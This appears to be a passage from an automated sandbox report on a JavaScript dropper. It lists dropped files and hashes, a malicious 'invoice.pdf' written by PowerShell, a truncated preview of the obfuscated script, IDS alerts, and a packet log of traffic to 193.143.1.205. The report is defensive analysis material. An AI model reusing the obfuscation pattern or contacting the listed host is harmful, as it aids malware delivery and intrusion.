Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\aeffe321-31b8-42fd-930d-bb9a1ef81c26.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f0309a2c-5b19-4f49-9fb8-6442755084df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/yIwYIGNP4bdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:fwZG6b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	4AA1843AE7985E217D69F733D8EE6196
SHA1:	3712E4B1FF0E0E5738AB486B692DD8587B1AFB32
SHA-256:	8967BD234D0215E583636BFA70B2A34269CFB2ECB0BA20BCEBCA7867540DA059
SHA-512:	6C216C5675C4ED9A904E39EF446209F46CE9681C3ED4EC64B3C523BC9A94E842474DE067F1E0D9085050DE124A6D032A76A354E8C917090A677788B40EFCE6C3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f1b2239b-747d-4e1e-9da8-84e5c3aa3fe2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:
Entropy (8bit):	4.9245920349656265
TrID:
File name:	241198432146011036.js
File size:	21'006 bytes
MD5:	92bfee1a179b48d2628c50f0531cb24e
SHA1:	180151f7a593e4304c00470a3e50fdd384d416f0
SHA256:	acdf168d828db0eb35e6ba0de55886e34b1947fe319ee9b8d3b5367845434d71
SHA512:	29709d28668ff705dce619b2e3882ea263c5cf41a170e63379efb8e68f5edacb1a9d8b0eda810a3e08353f575bfe5278932d7bcc22d0a431e23a594a86aeefff
SSDEEP:	384:xuoJl/TaOJGOrDWlwdAxQ5SJMT3qSlPlzb:xuoJlB8OrDGxQ5D3/ln
TLSH:	A4923587E408DE3A4FF806E04AF315F468AC95D75960C5262C0229FF645F9B379F4A3A
File Content Preview:	function mmmvd(){gxouazrlt=[1031,3079,5127,4103,2055,3072];var dunfzad=this[ruiddtrys+nbhnzzb+ayjeapzjd+fxqsmue+vuytxmhz+gpbsj+jzisqogp+zuegmtj](this[avumgvzz+lzgejmijw+unfmwxlr+ayjeapzjd+sflhlzeo+ruiddtrys+zuegmtj][ehhnavg+ayjeapzjd+vuytxmhz+nbhnzzb+zueg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:51:28.589132+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.11	49709	193.143.1.205	80	TCP
2025-01-10T22:51:31.834784+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.11	49710	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:51:27.787906885 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:27.792701960 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:27.792797089 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:27.795821905 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:27.800554991 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.588974953 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.588996887 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589010954 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589024067 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589132071 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.589132071 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.589143038 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589164019 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589176893 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589256048 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.589261055 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589273930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589281082 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.589402914 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.594023943 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.631886005 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.631901979 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.631978989 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.713927031 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.713941097 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.713952065 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.714060068 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.714087009 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.714122057 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.714133024 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.714150906 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.714190006 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.714565992 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.714579105 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.714589119 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.714920044 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.714986086 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.714998007 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.715008020 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.715020895 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.715044022 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.715044022 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.715573072 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.715584993 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.715590000 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.715600014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.715609074 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.715661049 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.716357946 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.716377974 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.716389894 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.716423035 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.716443062 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.716496944 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.763592005 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.763606071 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.763617992 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.763679981 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.803569078 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.804004908 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.804024935 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.804136992 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.841245890 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841269016 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841280937 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841360092 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841372967 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841422081 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.841422081 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.841547012 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841573000 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841602087 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.841670036 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841692924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841706038 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841726065 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.841778994 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.841860056 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841871977 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841882944 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.841917992 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.842344999 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842395067 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842466116 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842509031 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.842509031 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.842655897 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842675924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842689037 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842813015 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842825890 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842866898 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.842866898 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.842895031 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842905998 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842916965 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.842962980 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.842962980 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.843611002 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.843631983 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.843643904 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.843698025 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.843791962 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.843803883 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.843842030 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.843853951 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.843892097 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.843892097 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.844505072 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.844516039 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.844527006 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.844552994 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.844587088 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.844593048 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.844604969 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.844614983 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.844628096 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.844660044 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.844955921 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.847539902 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.847552061 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.847563028 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.847601891 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.852809906 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.852864027 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.852874041 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.852875948 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.852963924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.852974892 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.853005886 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.853005886 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.893589973 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.893609047 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.893620968 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.893727064 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.893729925 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.893912077 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:28.962965012 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.962976933 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:28.963131905 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.008727074 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.008752108 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.008765936 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.008965969 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.008980036 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.008994102 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009008884 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009040117 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009040117 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009088039 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009110928 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009156942 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009176970 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009196043 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009232044 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009244919 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009283066 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009283066 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009383917 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009394884 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009407043 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009589911 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009589911 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009644985 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009649992 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009655952 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009701014 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009752035 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009773970 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009785891 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009859085 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.009865046 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.009879112 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010129929 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010159969 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010173082 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010185957 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010215998 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010221958 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010221958 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010229111 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010241985 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010256052 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010282040 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010298967 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010396957 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010409117 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010421991 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010530949 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010801077 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010833025 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010844946 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010849953 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010879040 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010890961 CET	80	49709	193.143.1.205	192.168.2.11
